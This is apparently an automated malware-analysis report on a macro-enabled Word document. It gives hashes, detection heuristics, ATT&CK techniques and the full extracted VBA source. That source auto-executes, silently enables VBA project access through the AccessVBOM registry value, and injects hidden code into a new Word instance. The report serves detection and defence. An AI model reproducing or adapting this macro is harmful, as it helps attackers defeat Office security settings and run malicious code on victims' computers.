Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3ad5eada39a6b871…

MALICIOUS

Office (OOXML)

76.1 KB Created: 2021-05-07 10:25:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-22
MD5: ab8be9cdfc508b6c8e7f3b6771b6a695 SHA-1: 797c89d29cd62ece31a66f264af11d697e42e819 SHA-256: 3ad5eada39a6b8717fc0eb0eef015be2c5e68a01d25cb421fa3dffdff3cd51bb
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes a function that uses 'CreateObject("word.application")' to add VBA code to the current document's VBProject. This injected code then uses 'wscript.shell' to write a registry value, likely to establish persistence or trigger further execution. The presence of 'AutoOpen', 'Shell()', and 'WScript.Shell' firings strongly indicates a macro-based downloader.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub bufQuery()
With CreateObject("wscript.shell")
.RegWrite leftDataMem("indexStructDocument") & exceptionQueryNamespace & documentMemoryEx("variableArrayConvert"), 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub arraySwapLocal(repoProcGlobal As String)
Set listCaptionDelete = CreateObject("word.application")
With listCaptionDelete.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "collectionTrustSize"
Sub autoopen()
screenCaptionValue
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1993 bytes
SHA-256: ab7f7f75acdbd390accd310877c7e37f284aecc88642d389f3aedae5829fcfaf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{AB37F725-3828-4FFE-8A7A-A9485F9DB883}{C2016D0D-85E6-4CB9-BB8B-433B964EE056}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "collectionTrustSize"
Sub autoopen()
screenCaptionValue
Dim removeTrustData As String
removeTrustData = listBufA
arraySwapLocal removeTrustData
End Sub

Attribute VB_Name = "storageRightData"
Sub arraySwapLocal(repoProcGlobal As String)
Set listCaptionDelete = CreateObject("word.application")
With listCaptionDelete.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString repoProcGlobal
End With
listCaptionDelete.Visible = False
listCaptionDelete.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "storageVariable"
Function exceptionQueryNamespace() As String
exceptionQueryNamespace = Application.Version
End Function
Sub bufQuery()
With CreateObject("wscript.shell")
.RegWrite leftDataMem("indexStructDocument") & exceptionQueryNamespace & documentMemoryEx("variableArrayConvert"), 1, "REG_DWORD"
End With
End Sub
Function leftDataMem(varVar)
leftDataMem = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function documentMemoryEx(varVar)
documentMemoryEx = "\Word\Security\" & variableConstClass("trustLoadDelete")
End Function
Function variableConstClass(varVar)
variableConstClass = Replace("1BOM", "1", "AccessV")
End Function
Sub screenCaptionValue()
bufQuery
End Sub
Function listBufA()
listBufA = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: 998a5cb43f792334b93360918f70ba949f02123428fa4fb5a1a1141374f3f486

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